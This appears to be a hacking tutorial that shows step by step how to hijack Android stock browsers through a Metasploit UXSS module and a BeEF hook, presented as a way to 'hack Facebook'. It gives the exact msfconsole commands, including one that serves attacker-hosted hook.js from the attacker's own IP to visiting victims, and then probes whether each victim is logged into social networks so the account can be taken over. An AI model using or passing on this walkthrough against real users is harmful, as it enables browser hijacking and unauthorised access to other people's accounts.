How to Hack Facebook (Same-Origin Policy)

Same Origin Policy

Same-origin policy (SOP) is one of the key security measures that every browser should meet. What it means is that browsers are designed so that webpages can't load code that is not part of their own resource. This prevents attackers from injecting code without the authorization of the website owner.

Unfortunately, the default Android browser can be hacked as it does not enforce the SOP policy adequately. In this way, an attacker can access the user's other pages that are open in the browser, among other things. This means that if we can get the user to navigate to our website and then send them some malicious code, we can then access other sites that are open in their browser, such as Facebook.

For those of you are new to Null Byte and hacking, I recommend that you start by installing Kali Linux. In this hack, we will need two tools, Metasploit and BeEF, both of which are built into our Kali Linux system.

Step 1Open Metasploit

Let's begin by firing up Kali and then opening Metasploit by typing:

kali > msfconsole

You should get a screen like this.

Step 2Find the Exploit

Next, let's find the exploit for this hack by typing:

msf > search platform:android stock browser

When we do so, we get only one module:

auxiliary/gather/android_stock_browser_uxss

Let's load that module by typing:

msf > use auxiliary/gather/android_stock_browser_uxss

Step 3Get the Info

Now that we have loaded the module, let's get some information on this module. We can do this by typing:

msf > info

As you can see from this info page, this exploit works against all stock Android browsers before Android 4.4 KitKat. It tells us that this module allows us to run arbitrary JavaScript in the context of the URL.

Step 4Show Options

Next, let see what options we need to set for this module to function. Most importantly, we need to set the REMOTE_JS that I have highlighted below.

Step 5Open BeEF

Step 6Set JS to BeEF Hook

Back to Metasploit now. We need to set the REMOTE_JS to the hook on BeEF. Of course, make certain you use the IP of the server that BeEF is running on.

msf > set REMOTE_JS http://192.168.1.107:3000/hook.js

Next, we need to set the URIPATH to the root directory /. Let's type:

msf > set uripath /

Step 7Run the Server

Now we need to start the Metasploit web server. What will happen now is that Metasploit will start its web server and serve up the BeEF hook so that when anyone navigates to that website, it will have their browser hooked to BeEF.

msf > run

Step 8Navigate to the Website from an Android Browser

Now we are replicating the behavior of the victim. When they navigate to the website hosting the hook, it will automatically inject the JavaScript into their browser and hook it. So, we need to use the stock browser on an Android device and go to 192.168.1.107:8080, or whatever the IP is of your website.

Step 9Hook Browser

When the user/device visits our web server at 192.168.1.107, the BeEF JavaScript will hook their browser. It will show under the "Hooked Browser" explorer in BeEF. We now control their browser!

Step 10Detect if the Browser Is Authenticated to Facebook

Now let's go back to BeEF and go to the "Commands" tab. Under the "Network" folder we find the "Detect Social Networks" command. This command will check to see whether the victim is authenticated to Gmail, Facebook, or Twitter. Click on the "Execute" button in the lower right.

When we do so, BeEF will return for us the results. As you can see below, BeEF returned to us that this particular user was not authenticated to Gmail or Facebook, but was authenticated to Twitter.

Now, we need to simply wait until the user is authenticated to Facebook and attempt this command again. Once they have authenticated to Facebook, we can direct a tab to open the user's Facebook page, which we will do in our next Facebook hack tutorial.

We will continue to explore more ways to hack Facebook, Twitter, and Gmail in future articles, so keep coming back, my budding hackers!